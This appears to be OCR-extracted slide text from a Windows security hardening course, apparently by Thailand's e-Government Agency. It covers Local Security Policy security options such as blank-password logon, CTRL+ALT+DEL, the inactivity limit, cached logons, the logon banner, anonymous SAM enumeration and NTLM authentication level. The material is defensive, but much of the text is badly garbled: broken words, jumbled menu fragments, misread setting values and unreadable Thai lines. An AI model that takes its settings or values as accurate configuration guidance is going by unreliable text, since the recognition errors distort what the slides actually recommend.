
1) Audit: Audit the access of global syste..  Disabled /\_/

1] Audit: Audit the use of Backup and Res... Disabled
12 Audit: Force audit policy subcategory s..  Not Defined

% Audit Policy

" Metwaork List Manager Pafi
i [ Public Key Policies . . S
b 1] Audit: Shut down system immediately i, Disabled

b ) Application Control Policies 12:| DCOM: Machine Access Restrictions in ... Not Defined

b g IP Security Policies on Local Compute 1| DCOM: Machine Launch Restrictions in... Mot Defined

| Software Restriction Policies

b (] Advanced Audit Policy Configuration|| “* Devices: Allow undock without having ... Enabled

1y Devices: Allowed to format and eject re.. Not Defined
1| Devices: Prevent users from installing p..  Enabled

1| Devices: Restrict CD-ROM access to loc.. Mot Defined
1| Devices: Restrict floppy access to locall.,  Not Defined
1y Domain controller: Allow server operat.. Not Defined
15| Domain controller: LDAP server signing.. Mot Defined
lis| Domain controller: Refuse machine acc... Not Defined

12y Domain member: Digitally encrypt orsi., Enabled

12y Domain member: Digitally encrypt sec...  Enabled )
< n * || ks Domain member: Digitally sign secure.. Enabled OK Ca Apply
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Security Options

Set 'Accounts: Limit local account use of blank passwords to console logon
only' to 'Enabled’

& Local Security Policy el Ll
File Action View Help

e« nE XE
EJ_’.'I Security Settings Policy “ Security Setting Local Securty Setting | Explain

Accounts: Limit local account use of blank passwo...

4[4 Account Policies 1) Accounts: Administrator account status  Enabled 3 Accounts; Limit local account use of blank passwords to console
2 Password Policy 15| Accounts: Block Microsoft accounts Mot Defined =fl. logon only
2 Account Lockout Policy 15| Accounts: Gyuest account statue Dizabled
43 LQcaI Policies ::iccounts: Limit local account use of bl... Enabled J
5 Audit Policy 1| Accounts: Rename administrator accou... admin_cloud i (®) Enabled
b g User Rights Assignment 1) Accounts: Rename guest account Guest_cloud () Disabled

5 Security Options

b Windows Firewall with Advanced Sec
| Network List Manager Policies
~| Public Key Policies

) Audit: Audit the access of global syste..  Disabled

1| Audit: Audit the use of Backup and Res... Disabled

b 1) Audit: Force audit policy subcategory s.. Mot Defined
b [ Software Restriction Policies 15| Audit: Shut down system immediately i... Disabled
b ] Application Control Policies o) DCOM: Machine Access Restrickions in ... Mot Defined
b 'g IP Security Policies on Local Compute|| DCOM: Machine Launch Restrictions in... Mot Defined
b [ Advanced Audit Policy Configuration 12| Devices: Allow undock without having ... Enabled

1) Devices: Allowed to format and eject re.. Mot Defined
1) Devices: Prevent users from installing p.. Enabled

1| Devices: Restrict CD-ROM access to loc... Mot Defined
1o Devices: Restrict floppy access to locall.. Mot Defined
1) Domain controller: Allow server operat.. Mot Defined
15| Domain controller: LDAP server signing... Mot Defined
12z Domain controller: Refuse machine acc... Mot Defined

125 Domain member: Digitally encrypt or si... Enabled

15y Domain member: Digitally encrypt sec..  Enabled SN
< m > || L Domain member: Digitally sign secure ... Enabled < | OK D Cancel Apply
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Security Options

Shut down system immediately if unable to log security audits

!

File Action View Help

e nE XEE

Local Security Policy

| Network List Manager Policies
b [ | Public Key Policies
b || Software Restriction Policies

1] Audit: Fo
Audit: Shut down system immediately if unable to log secur...

-

Mot Defined

Audit; Shut down system immediately if unable to..

Local Securty Setting | Explain

T Security Settings Policy Security Setting
4[4 Account Policies 1 Accounts: Administrator account status Enabled j' Hodit; Shut down system immediately £ unable to log securty
4 Password Policy o] Accounts: Block Microsoft accounts Mot Defined E L auds
. 4 Account Lockout Policy 14 Accounts: Guest account status Disabled
4.4 L?“' Pollluesl ) Accounts: Limit local account use of blank passwords to co...  Enabled
5 AUdItFDIICY ) 12| Accounts: Rename administrator account admin_cloud
bia UserP.dghtsﬁ.\sygnment o] Accounts: Rename guest account Guest_cloud b
7, Security Options . . . . 1
= - - 1] Audit: Audit the access of global system objects Disabled o’ PP )
i | Windows Firewall with Advancel Sec . . o ) o etting Nay affect compatibility with clients, services,
1] Audit: Audit the use of Backup and Restore privilege Disabled i and applications.

b | Application Control Policies 1) DCOM: Machime Rreessfestrietememraerarty oestipior L. Mot Defined
b g IP Security Policies on Local Compute|| DCOM: Machine Launch Restrictions in Security Descriptor ... Not Defined
b (] Advanced Audit Policy Configuration|| Devices: Allow undock without having to log on Enabled
11| Devices: Allowed to format and eject removable media Mot Defined
1u| Devices: Prevent users from installing printer drivers Enabled
11| Devices: Restrict CD-ROM access to locally logged-on user .. Mot Defined
11| Devices: Restrict floppy access to locally logged-on user only Mot Defined
11 Domain controller: Allow server operators to scheduletasks Mot Defined
1 Domain controller: LDAP server signing requirements Mot Defined
11| Domain centroller: Refuse machine account password chan... Mot Defined
11| Domain member: Digitally encrypt or sign secure channel d... Enabled
12| Domain member: Digitally encrypt secure channel data (wh... Enabled -
< n > || iy Domain member: Digitally sign secure channel data (when .. Enabled ’m Poply
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Security Options

Shut down system immediately if unable to log security audits

1. Trusted Computer System Evaluation Criteria (TCSEC)-C2

https://en.wikipedia.org/wiki/Trusted Computer System Ev
aluation Criteria

2. Common Criteria certification

https://www.commoncriteriaportal.org/



https://en.wikipedia.org/wiki/Trusted_Computer_System_Evaluation_Criteria
https://www.commoncriteriaportal.org/
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Security Options

Set 'Interactive logon: Display user information when the session is locked

S Local Security Policy -0

File Action View Help

s nEXE: HE

Interactive logon: Display user information whe...

Local Security Setting

T Security Settings Palicy * Security Setting

4 [ Account Policies | Devices: Restrict floppy access te locally logged-on user only  Net Defined =W  Interactive logon: Display user information when the session is
4 Password Policy | Domain controller: Allow server operators to schedule tasks  Not Defined j locked
4 Account Lockout Policy | Domain controller: LDAP server signing requirements Mot Defined

4 [ Local Policies | Domain controller: Refuse machine account password chan.. Not Defined

,-_;I Aud|t|_30I|c}r | Do not display user information hd | >

ghbslszignment

Security Options

o rhedoue Elsualenith Advahced Sec
"\ Metwork List Manager Policies

1 || Public Key Policies

b+ [ Software Restriction Policies

| Domain member: Digitally encrypt or sign secure channel d...  Enabled 7

| Domain member: Digitally encrypt secure channel data (wh... Enabled

| Domain member: Digitally sign secure channel data (when ...  Enabled
| Domain member: Disable machine account password chan..,  Disabled
| Domain member: Maximum machine account password age 30 days
Enabled
Mot Defined

| Domain member: Reguire stropg A8 ind

Interactive logon: Display user information when the session...

I [ | Application Control Policies

| f—
T —

b g IP Security Policies on Local Compute | Interactive logon: Do not display 1ast User name Disabled
b ] Advanced Audit Policy Configuration | Interactive logen: Do not require CTRL+ALT+DEL Disabled
| Interactive logen: Machine account lockout threshold Mot Defined
| Interactive logen: Machine inactivity limit Mot Defined
| Interactive logon: Message text for users attempting to log on
| Interactive logon: Message title for users attempting to log on
| Interactive logen: Mumber of previous logons to cache (in .. 10 logons
| Interactive logen: Prompt user to change password before e, 5 days
| Interactive logen: Require Domain Controller authentication... Disabled
| Interactive logen: Require smart card Disabled
| Interactive logen: Smart card removal behavior Mo Acticn
< n > | Microsoft network client: Digitally sign communications (al... Disabled b
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Security Options
Interactive logon: Do not display last user name

A Local Security Policy = |
File Action View Help

CEER EE
- Local Securty Sef :
T Security Settings Policy . Security Setting cal secuty 2ting | Explain

Interactive logon: Do not display last user name P...

4 [ Account Policies 12| Devices: Restrict floppy access to locally logged-on useronly - Mot Defined - Interactive logon: Do not display last user name
4 Password Policy 12/ Dornain controller: Allow server operators to scheduletasks — Not Defined e
4 Account Lockout Policy 2] Domain controller: LDAP server signing requirements Not Defined

PR L9ca||3clulicie5l 12| Domain controller: Refuse machine account password chan... Mot Defined
5 Audit FD|IC)‘ 15| Domain member: Digitally encrypt or sign secure channel d... Enabled

ment 1s| Domain member: Digitally encrypt secure channel data (wh... Enabled

4 Security Options

1| Domain member: Digitally sign secure channel data (when ... Enabled

b - Nrk Listanaer Pudlrcaist e 1s| Domain member: Disable machine account password chan..,  Disabled
, : Public Key Policies 12| Domain member. Maximum machine account password age 30 days
b ) Software Restriction Policies 1s| Domain member: Require streng (Windows 2000 or later) se... Enabled
b [ Application Control Policies 11| Interactive logon: Display user information when the session... Do not display user infg
b g IP Security Policies on Local Compates nteractive legon: Do not display last user name Disabled
b ] Advanced Audit Policy Configuration 12| Interactive legon: Do not require CTRE+ALT+DEL Disabled
1| Interactive legon: Machine account lockout threshold Not Defined
1| Interactive legon: Machine inactivity limit Not Defined

11| Interactive logon: Message text for users atternpting to log on

5| Interactive logon: Message title for users attempting to log on

1| Interactive legon: Numnber of previous logons to cache (inc.. 10 logens
11| Interactive logon: Prompt user to change password before e, 5 days

lis| Interactive logon: Require Domain Controller authentication.., Disabled

15| Interactive logon: Require smart card Disabled

1| Interactive logon: Smart card removal behavior No Action

) cocdl |ty |

< i > || L) Microsoft network client: Digitally sign communications (al...  Disabled




]
Security Options

Interactive logon: Do not display last user name

Windows Security

=X

Enter your credentials

| Password |

| Use another account

|| Remember my credentials

These credentials will be used to connect to 172.17.12.109,

| ok

] | Cancel

EGA

e-Government Agenc

THAILAND
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Security Options
Set 'Interactive logon: Do not require CTRL+ALT+DEL' to 'Disabled'

= Local Security Policy =|B
File Action View Help

o A5 XE =
= Local Securty Setti i
[ Security Settings Policy * Security Setting cal Secutty 3eting | Explain

4[4 Account Policies i) Devices: Restrict floppy access to locally logged-on user only Mot Defined = Interactive logon: Do not require CTRL+ALT+DEL

& Password Policy 1) Domain controller: Allow server operators to schedule tasks Mot Defined E] |
4 Account Lockout Policy

Interactive logon: Do not require CTRL+ALT+DEL ...

1y Domain controller: LDAP server signing requirements Mot Defined

4 [ 4 Local Policies 1| Domain centroller: Refuse machine account password chan... Mot Defined

17y Domain mermber: Digitally encrypt or sign secure channel d...  Enabled © Enabled

4 Audit Palicy

b Windows Firewall with Adva
~| Metwork List Manager Policie

p [ Public Key Policies

I

17y Domain mermber: Digitally encrypt secure channel data (wh... Enabled

(®) Disabled
17y Domain mermnber: Digitally sign secure channel data (when ... Enabled
ced Sect 17s) Domain mermber: Disable machine account password chan..,  Disabled
17is) Domain member: Maximum machine account password age 30 days
“| Software Restriction Policies 1y Domain member: Require strong (Windows 2000 or later) se.. Enabled
1) Interactive logon: Display user infermation when the session...

: L Interactive logon: Do not require CTRL+ALT+DEL Disabled

17| Interactive logom: TMaCHTTTE SCCOUM O ROTT TTesoTg Mot Defined

Do not display user inf

b [ Application Contral Policies
I g IP Security Policies on Local Co
b [ Advanced Audit Policy Configurafio

OO TIOTUTSETd Y TdS0 USET THdTTTE

1% Interactive logon: Machine inactivity limit Mot Defined
17 Interactive logon: Message text for users attempting te log on

1) Interactive logon: Message title for users attempting to log on

1) Interactive logon: Number of previous legons to cache (inc.. 10 legons
1 Interactive logon: Prompt user to change password before e, 5 days

17| Interactive logon: Require Domain Controller authentication.., Disabled

1%y Interactive logon: Require smart card Disabled

17| Interactive logon: Smart card remaoval behavior Ma Acticn

T~
0k | ) Cancel Aoply

< m > ||| | Microsoft network client: Digitally sign communications (al.. Disabled |
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Security Options
Set 'Interactive logon: Machine inactivity limit' to '900 or fewer seconds'

& Local Security Policy L Interactive logon: Machine inactivity limit Properti_\_?-

File Action View Help Local Security Setting | Explain
) vallza = HE -
= _ XE= HE j' Interactive logon: Maching inactivity lmit
[

T Security Settings Policy * Security Setting =R
4[4 Account Policies 1) Demain member: Maximum machine account password age 30 days
g Password Palicy 1| Domain member: Require strong (Windows 2000 or later) se..  Enabled
_ 4 Account Lockout Palicy 1) Interactive logon: Display user information when the session... Do not display u
418 Lgcal Policies 1%y Interactive logon: Do not display last user name Enabled
5 Audit Policy 1| Interactive legon: Do not require CTRL+ALT+DEL Disabled
b Lg User Rights Assignment [y AT CH I ———— ot Defined
‘ : Interactive logon: Machine inactivity limit Mot Defined
B Ewvall with Advanced Sec

5| Interactive logon: TVEsS Ag to log on

| Network List Manager Policies ) ) )
1| Interactive logon: Message title for users attempting to log on

B | Public Key Palicies
I || Software Restriction Policies
I || Application Control Policies

1| Interactive logon: Number of previcus legons to cache (in c.. 10logons
1| Interactive legon: Prompt user to change password before e, 5 days

b g IP Security Policies on Local Compute| Interactive logon: Require Domain Controller authentication.. Disabled
b (] Advanced Audit Policy Configuration s/ Interactive logon: Require smart card Disabled
1| Interactive logon: Smart card removal behavior No Action

1 Microsoft network client: Digitally sign communications (al..  Disabled

1 Microsoft network client: Digitally sign communications (if .. Enabled

15| Microsoft network client: Send unencrypted password to thi.. Disabled

12 Microsoft network server: Amount of idle time required bef.. 13 minutes
1 Microsoft network server: Atternpt S4U25¢lf to obtain claim .. Not Defined
1 Microsoft network server: Digitally sign communications (al.. Disabled

D) cancel || Aoy

e Microsoft network server: Digitally sign communications (if .. Disabled

Mirrnenft nehunrl caner Nicrnnnart rliente when lannn hn Frahlad
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Security Options

Set 'Interactive logon: Number of previous logons to cache (in case domain
controller is not available)' to '4 or fewer logon(s)'

& Local Security Policy |_ Interactive logon: Number of previous logons to r_\_?-

File Action View Help Local Security Setting | Explain
9 HEXE

Interactive logon: Number of previous logons to cache {in case

Ej_”—'n Security Settings Policy = Security Setting .~ domain controlleris not available)
4 [ Account Policies %] Demain member: Maximum rmachine account password age 30 days

2. Password Policy 1y Demain member: Require strong (Windows 2000 or later) se.. Enabled

_ 4 Account Lackout Policy 1] Interactive logon: Display user information when the session... Do not display u

45 L?cal Policies %] Interactive logon: Do not display last user name Enabled

2' Audit Policy 12| Interactive logen: Do not require CTRL+ALT+DEL Disabled

4 User Rights Assignment 17 Interactive logon: Machine account lockout threshold Mot Defined

19| Interactive logen: Machine inactivity limit 900 seconds

mith Advalced Sec

. T - 17| Interactive logon: Message text for users attempting to log on
| MNetwork List Manager Policie X 9 J PHng J

171o] Interactivi : =t abtasaptiogts log o

b 5 Public Key Policies | nterectivelogan-Maccagatitiadas .

b 7 Software Restriction Palicies I Interact!ve !ogon: Eumber of previous logons to cache (in ... 10lagons )/
I [ | Application Control Policies i bt =

I

l

g IP Security Policies on Local Compute|| % Interactive logen: Require Domain Centroller authentication... Disabled
| Advanced Audit Policy Configuration|| Interactive logon: Require smart card Disabled

12| Interactive logon: Smart card removal behavior Mo Action

17y Microsoft network client: Digitally sign communications (al... Disabled

15z Microsoft netwerk client: Digitally sign communications (if ... Enabled

15| Microsoft netwerk client: Send unencrypted password to thi.. Disabled

12| Microsoft network server: Amount of idle time required bef... 15 minutes

s Microsoft network server: Atternpt 54U25elf to obtain claim .. Mot Defined

1) Microsoft network server: Digitally sign communications (al... Disabled NN

15| Microsoft network server: Di;italli 5i§n communications (if .. Disabled \L‘ D Cancel | | Aoply |

Mirrnsnft netwark server: Discannect clients when lnnnn hn... Frahled
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Security Options

Set 'Interactive logon: Number of previous logons to cache (in case domain
controller is not available)' to '4 or fewer logon(s)’

Member Server ,
Domain Controller

—

Local cache
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Security Options

Set 'Interactive logon: Number of previous logons to cache (in case domain
controller is not available)' to '4 or fewer logon(s)'

Member Server ,
Domain Controller

—

Local cache
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Security Options

Set 'Interactive logon: Number of previous logons to cache (in case domain
controller is not available)' to '4 or fewer logon(s)'

Member Server{\
[

Local cache

Domain Controller
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Security Options

Set 'Interactive logon: Prompt user to change password before expiration’
to '14 or more day(s)’'

& Local Security Policy L Interactive logon: Prompt user to change passwor... \L-

File Action View Help m,m'
e« 2nE XE

Interactive logon: Prompt user to change password before

Ty Security Settings Policy . Security Setting sffy owietion
4 [ 4 Account Policies 12/ Domain member: Maximum machine account password age 30 days
1 Password Policy 12/ Domain member: Require strong (Windows 2000 or later) se... Enabled /
} L-E A|c|::D|L'In't Lockout Policy 12| Interactive legon: Display user information when the session... Do not display u Begin prompting this many days before password expires:
4 (g Loca ? ICIES. s| Interactive legen: Do not display last user name Enabled IE 21 days
5 Audit Policy 15| Interactive logon: Do not require CTRL+ALT+DEL Disabled \
b | m User Rights Assignment

14| Interactive logon: Machine account lockout threshold Mot Defined

15| Interactive logon: Machine inactivity limit 500 sgconds
Advanked Sec

| Network List Manager Palicies
b [ Public Key Policies

b [ ] Software Restriction Policies
b [ Application Control Policies

1| Interactive logon: Message text for users attempting to leg on
1| Interactive logon: Message title for users attempting te log on
] Interactive logop; Mumber of previous logonstg cache (in c... 4 logons
L Interactive logen: Prompt user to change password beforee.. 3 days__>

b g IP Security Policies on Local Compute|| Interactive logon: Require Domain Controller authentication... Disabled
b [ Advanced Audit Policy Configuration|| Interactive logen: Require smart card Disabled
1| Interactive logon: Smart card removal behavior Mo Action

1 Microsoft network client: Digitally sign communications (al.. Disabled

1 Microsoft network client: Digitally sign communications (if ... Enabled

1 Microsoft network client: Send unencrypted password to thi.. Disabled

1 Microsoft network server: Amount of idle time required bef... 15 minutes
1| Microsoft network server: Attempt 54U25elf to obtain claim ... Mot Defined

1 Microsoft network server: Digitally sign communications (al... Disabled N\
s Microsoft network server: Digitally sign communications (if ... Disabled | e | |) e | | Aoply |
LY HEE H mmdbinel rmmne Dirsmmm et slinnke aumm lnssm s Commlulnsl
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Security Options

Interactive logon: Message text for users attempting to log on

2 Local Security Policy \;l_' Interactive logon: Message text for users attempti.. t-

File Action View Help Local Policy Setting | Explain
e« 2E X

Interactive logon: Message text for users attempting to log on

i Security Settings Palicy “ Security Setting H |
4 [ 4 Account Policies 2z Domain member: Maximum machine account password age 30 days
4 Password Palicy 7s| Domain member: Require strong (Windows 2000 or later) se..  Enabled

. & Account Lockout Policy e| Interactive logon: Display user information when the session... Do not display user inf A D ACH D A
414 chalPollues U] Interactive logan: Do not display last user name Enabled / 10U Must Nave EXpICH PEmission L0 access Or COMmgUe s devig \
:gﬁtudltpo“qf . ) . . gl 23 DEMamed o Qevice mdy DE 10gJed dind ¥idigiio
- . g| Interactive logon: Do not require CTRL+ALT+DEL Disabled b T T S
b = g : ' . g| Interactive logon: Machine account lockout threshold Mot Defined SICHIEIRHE I AR SIS e /
, < Ecu”t‘l',r ptlon;. o] Interactive logon: Machine inactivity limit 400 seconds N /
B | Windows Firewall with Advanced Seci - N m b
S active logon: Message text for users attempting te log on > -

“| Network List Manager Policies

PTgTE Tog on \_/

23] Interactive logon:

b [ Public Key Policies . . _

b [ Software Restriction Policies g| Interactive logon: Number of previous logons to cache (in c.. 4 logons

b [ Application Control Palicies e| Interactive logon: Prompt user to change password before €., 14 days

D'@ IP Security Policies on Local Compute o] Interactive logon: Require Domain Controller authentication... Disabled

b [] Advanced Audit Policy Configuration o) Interactive logon: Require smart card Disabled A
7o) Interactive logon: Smart card removal behavior Mo Action

e Microsoft network client: Digitally sign communications (al.,  Disabled

e Microsoft network client: Digitally sign communications (if .. Enabled

s Microsoft network client: Send unencrypted password te thi.. Disabled

2] Microsoft netwark server: Amount of idle time required bef., 15 minutes
e Microsoft network server: Atterpt $4U25elf to obtain claim .. Not Defined
e Microsoft network server: Digitally sign communications (al., Disabled N\

14| Microsaft network server: Digitally sign communications (if .. Disabled ( ‘ oK D Cancel ‘ ‘ Forly |

Micrnsnft netwark server: Disconnect clients when lnann hn... Frahled
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Security Options

Interactive logon: Message text for users attempting to log on

===== UNAUTHORIZED ACCESS TO THIS NETWORK DEVICE IS PROHIBITED. =====
,You must have explicit permission to access or configure this device.,
“All activities performed on this device may be logged"," and violations,

of this policy may result in disciplinary action"," and may be reported,
to law enforcement. There is no right to privacy on this device.

o = c A4 | A@ a v
===== L?IWOQQﬂﬂ?MLﬂ?@‘H’]EIHLﬂH@\TB"I@Q‘Vi’]ll =====
% Yo 1 o v K = o 1 o-‘dgj
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uleineilaNagaNatn1TA NN " Lazaaln1guasAN 19
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Security Options

Interactive logon: Message text for users attempting to log on

Remate Desktop Connechon

Ffarmankn Sec iney [I?hJal MoTice
T St yaid Be SIS e 00 Soosss b ool sethem s gy Jedigned and intended oo e gl
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Interactive logon: Message title for users attempting to log on (Warning)

E

File Action View Help

Local Security Policy

(=i

Interactive logon: Message title for users attempti... \L-

Local Securty Setting | Explain

as 2E X | | |
_ Interactive logon: Message title for users attempting to log on
T Security Settings Policy “ Security Setting H |
4[4 Account Policies 12| Domain member: Maxirmum machine account password age 30 days
g Password Policy ¢ Domain member: Require strong (Windows 2000 or later) se...  Enabled

5 Account Lockout Policy
4 4 Local Policies

15| Interactive logon: Display user information when the session...

1) Interactive legon: Do not display last user name

Do not display user
Enabled

[faming

5 Audit Policy 1| Interactive logon: Do not require CTRL+ALT+DEL Disabled
b g User Bights Pl‘ssignment s/ Interactive logon: Machine account lockout threshold Mot Defined
b B Windeoi::tl:ji’rguz:;lmwsith dvanc ._\,Interact?velngon: Machine inactivity limit 900 seconds
“| Metwork List Manager Policies I inter : - - glogon ===== UMAUTHORZ
b [ Public Key Policies | Interactive logon: Messagetltlefor users attempting to log on
b | Software Restriction Policies aiTntel merefprevieutogoT U Cate (I C.. 4logons
b [ Application Control Policies 12| Interactive logon: Prompt user to change password before e... 14 days
b g IP Security Policies on Local Compute|| Interactive legon: Require Demain Centroller authenticatien.., Disabled
b [] Advanced Audit Policy Configuration 1| Interactive logon: Require smart card Disabled
15| Interactive logon: Smart card removal behavior Mo Action
s| Microsoft network client: Digitally sign communications (al.. Disabled
i) Microsoft netwaork client: Digitally sign communications (if ..  Enabled
15| Microsoft network client: Send unencrypted password to thi.. Disabled
1s| Microsoft network server: Ameunt of idle time required bef., 15 minutes
1g| Microsoft network server: Atternpt 54U25elf to obtain claim .. Mot Defined
s Microsoft network server: Digitally sign communications (al.. Disabled o~
;| Microsoft network server: Digitally sign communications (if .. Disabled oK ) Cancel | | Apply |

birrnenft netwnrl cerver Nicrnnnert clientewhen lnnnn hn

Frahled
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Security Options

Interactive logon: for users attempting to log on

Interactive logon: Message title for users attempting to log on

==== UNAUTHORIZED ACCESS TO THIS NETWORK DEVICE IS PROHIBITED ==
.You must have explicit permission to access or configure this device,,
All activities performed on this device may be logged”," and violations,

of this policy may result in disciplinary action®," and may be reported,
nforcement. There is no right to privacy on this device.
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Security Options

Set 'Network access: Do not allow anonymous enumeration of SAM
accounts and shares' to 'Enabled’

= Local Security Policy I;I_' Network access: Do not allow anonymaous enumer_m

File Action View Help Local Securty Setting | Explain

@ i)l = H &=
$ B x D = . B Metwork access: Do not allow anomymous enumeration of SAM

5_1:_., Security Settings Policy - Securit =f|, accounts and shares

4 [ 4 Account Policies 1s| Interactive logon: Message title for users attempting te log on Warnin

4, Password Policy ls| Interactive logen: Mumber of previous logons to cache (in case domain con.. 4 logor

4 Account Lockout Policy ) Interactive logen: Prompt user te change password before expiration 14 day ®) Enabled

4 |4 Local Policies | Interactive logen: Require Domain Controller authentication to unlock work... Disablg

1s| Interactive logen: Require smart card Disable
with clierts, services,

. . Modifying this setting may affect compatibil
s/ Interactive logen: Smart card removal behavior Mo Act - :ﬂpﬁcaﬁons. amay P

s Microsoft network client: Digitally sign communications (always) Disable For more information, see Network access: Po not alow anonymous
enumeration of SAM accounts and shares. JQ823659)

s Microsoft network client: Digitally sign communications (if server agrees) Enable
s Microsoft network client: Send unencrypted password to third-party SMB se...  Disabl
E | Software Restriction Policies s Microsoft network server: Amount of idle time required before suspending s... 15 mirj
b [ Application Control Policies s Microsoft network server: Atternpt 54U25elf to obtain claim information Mot D
b g IP Security Policies on Local Comphite| Microsoft netwerk server: Digitally sign communications (always) Disabl

~| Netwark List Manager Policies
~| Public Key Palicies

b ] Advanced Audit Policy Canfiguratian|| Microsoft netwerk server: Digitally sign comrmunications (if client agrees) Disab
s Microsoft network server: Disconnect clients when logon hours expire Enabl
s Microsoft network server: Server SPN target name validation level

1) Metwork access: Allow anonymous 5ID/Name translation

oy N TOTTyTT IO CrTaTrTere : el 2 rounts

. Network access: Do not allow anonyrmous enumeration of SAM accounts a..,_Jisable
1) Network acceee . Disablg
s Network access: Let Everyone permissions apply to anonymous users Disable

| oK

) Concs || footy |

s Network access: Named Pipes that can be accessed anonymously

Blabsinel arrmrm Dannntche arcarcibhla rrnickbne nathe Cuertrnd




. \

THAILAND

Security Options

Set 'Network access: Do not allow anonymous enumeration of SAM
accounts and shares' to 'Enabled'

@ Q/mdows » System32 » config 0>v-o’ H .
-

File Edit View Tools Help

( SErT<)
p
|

Organe » Include in ibrary « Share with « Bum New folder — i ® l
S(hCl(h - | Name vate modmead Type ‘
schemas ‘

Joumal
securnty
RegBack 5-01
ServiceP
L. systemprofile 01-2011
. servicing |
R 26-01-2011 12:38 Cile folds
L Setup ¢ o :
A  BCD-Template B-08- 2000 01:56 Fiie 8 KB
ShellNes 4 ;
A  components
Software -
o default 1-01-201 ' ‘
system e OV5 Auma e gun ¢
A  securty 1-02-2011 : File
System3,
A  software ( /
. 2
A  system
Adobe Y

-

11 tems
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Security Options

Set 'Network access: Do not allow anonymous enumeration of SAM
accounts and shares' to 'Enabled’

-
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Security Options

Set 'Network access: Do not allow anonymous enumeration of SAM
accounts and shares' to 'Enabled’
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Security Options

Set 'Network access: Do not allow anonymous enumeration of SAM

accounts and shares' to 'Enabled’
- A )
-y A I ﬁ
CVE-2015-2790

VULNERABILITY
ASSESSMENT
Monday, March 30, 2015 7:00 AM
CVE-2015-2789
Monday, March 30, 2015 7:00 AM
CVE-2015-2701
Wednesday, March 25, 2015 7:00 AM
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Security Options

Set 'Network access: Do not allow anonymous enumeration of SAM
accounts and shares' to 'Enabled’
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Security Options

Set 'Network security: Allow Local System to use computer identity for
NTLM' to 'Enabled’ (Domain Controller)

3 Local Security Policy = | B Network security: Allow Local System to use comp_li-
File Action View Help m’m‘
* $ x D = 5 Network securty: Allow Local System to use computer idertity for
T Security Settings Policy “ Security Setting _Ei! NTLM
4 [ g Account Policies i) Micrasoft network server: Digitally sign communications (if client agrees) Disabled
4 Password Policy 11| Microseft network server: Disconnect clients when legon hours expire Enabled
% Account Lockout Policy | [ Microsoft network server: Server SPN target name validation level Net Defined
a3 L?“' Policies s Netwark access: Allow anonymous 5ID/Name translation Disabled % ) Disabled
g, Audit Folicy ) 11| Metwork access: Do net allow anenymous enumeration of SAM accounts Enabled .
= eLfightsssng 1o| Netwerk access: Do not allow anenymeous enumeration of SAM accounts a..  Enabled
1o Metwork access: Do not allow storage of passwords and credentials for netw... Disabled
4 1s| Network access: Let Everyone permissions apply to anenymeous users Disabled
b ] Public KeyPolicies 12s| Netwerk access: Named Pipes that can be accessed anonymously
» =] Software Restriction Policie|| = Netwaork access: Remotely accessible registry paths Systern\CurrentC
b ] Application §entrol Policie|| Network access: Remotely accessible registry paths and sub-paths Systern\CurrentC
b g IP Security Polcies on Loca|| =4 Netweork access: Restrict anonymous access to Mamed Pipes and Shares Enabled
b [ ] Advanced Audit\Pelicy Cor|| 24 Metwerk access: Shares that can be accessed anonymously Mot Defined /
i) Netwo : : reTETE T T e ST TE TS R Classic - local us
[ Network security: Allow Local System to use computer identity for NTLM D@
7] NetwoTR ety rittevbesiistomablllcatciontallbast Tot Uefined
10| Metwork security: Allew PKU2U authentication requests to this computerto .. Not Defined
25| Netwerk security: Configure encryption types allowed for Kerberos Not Defined
15ly) Netwerk security: Do not store LAN Manager hash value on next password c... Enabled
lig) Netwerk security: Force logeff when logon hours expire Disabled
| Network security: LAN Manager authentication level Not Defined " Cancel | | Apply
Mahainrl cariribie | AD rliant cinnina ramiramantc Manntiste cianind
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Security Options

Set 'Network security: Allow Local System NULL session fallback' to
'‘Disabled’

3 Local Security Policy \;I_': Network security: Allow LocalSystem NULL session_li-

File Action View Help Local Security Setting | Explain
o 2E XE =

MNetwork security: Allow LocalSystem NULL session fallback

T Security Settings Policy - Security Setting 5 |
4 [ Account Policies 5] Microsoft network server: Digitally sign communications (if client agrees) Disabled
' Password Policy lis) Microsoft network server: Disconnect clients when logen hours expire Enabled
_ 2 Account Lackout Policy|| [1) Microsoft netwark server: Server SPN target name validation level Mot Defined
48 L?“' Policies %) Metwork access: Allow anenymous SID/Name translation Disabled
gl Audit Policy 115 Metwork access: Do not allow anonymous enumeration of 5AM accounts Enabled

lis Network access: Do not allow anonymous enumeration of SAM accounts .. Enabled
12| Metwork access: Do not allow storage of passwerds and credentials for netw...  Disabled
1| Metwork access: Let Everyone permissions apply to anonymous users Disabled

st Manager Polic .
125 Network access: Mamed Pipes that can be accessed anonymously

I+ [ Public Key\Policies
b \ 115 Metwork access: Remotely accessible registry paths System\CurrentC
b [ Application Control Policie|| ! Network access: Remotely accessible registry paths and sub-paths System\CurrentC
b g IP Security Pjici 1| Metwork access: Restrict anenymous access to Named Pipes and Shares Enabled
b B 1| Metwork access: Shares that can be accessed anonymously Not Defined

1is Network access: Sharing and security model for local accounts Classic - local usef

1) Network securibe AlloudacalSysbonsd pohosidenkibodor abled
'd_mk security: Allow LocalSystem NULL session fallback Disable

1| Metwork security: Allow PKU2U authentication requests to this computerto ... Not Defined

12 Network security: Configure encryption types allowed for Kerberos Mot Defined
1is) Network security: Do not stere LAN Manager hash value on next password c... Enabled
lis) Metwork security: Force logoff when logon hours expire Disabled

15| Network security: LAN Manager authentication level Mot Defined " Apply

Mletsomels mmmiridnn F AN ~llmmd mimmim s mmm e e e - Blmmmbimbm i i
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Security Options

Set 'Network security: LAN Manager authentication level' to 'Send NTLMv?2
response only. Refuse LM & NTLM'

S

File Action

T

View Help

Local Security Policy

XE =

At

1| Metwork security: For
~letwork security: LAN Manager authentication level

FY

T Security Settings Policy Security Setting H |
4[4 Account Policies 1s| Netwaork access: Let Everyone permissions apply to anenymous users Disabled
5 Password Palicy s Metwork access: Mamed Pipes that can be accessed anonymously e —_—
. 4 Account Lockout Policy| 7 Netwaork access: Remotely accessible registry paths System\CurrentC{ - Send NTLMy2 response only. Refuse LM & NTLM D\
4.8 L'?":al Policies % Network access: Remotely accessible registry paths and sub-paths System'\CurrentC ——— I
5 Audit Policy 12| Network access: Restrict anonymous access to Named Pipes and Shares Enabled I gﬂnoéjgwnﬁj;;iismigﬁing may afect compafiiey Wit clients. services.
g serBights fssignment 1) Metwork access: Shares that can be accessed anonymously Mot Defined - Formnprpe information, see Network security: LAN Manaer
1) Metwork access: Sharing and security model for local accounts Classic - local use authentication level. (Q823653)
b 1) Metwork security: Allow Local System to use computer identity for NTLIM Enabled
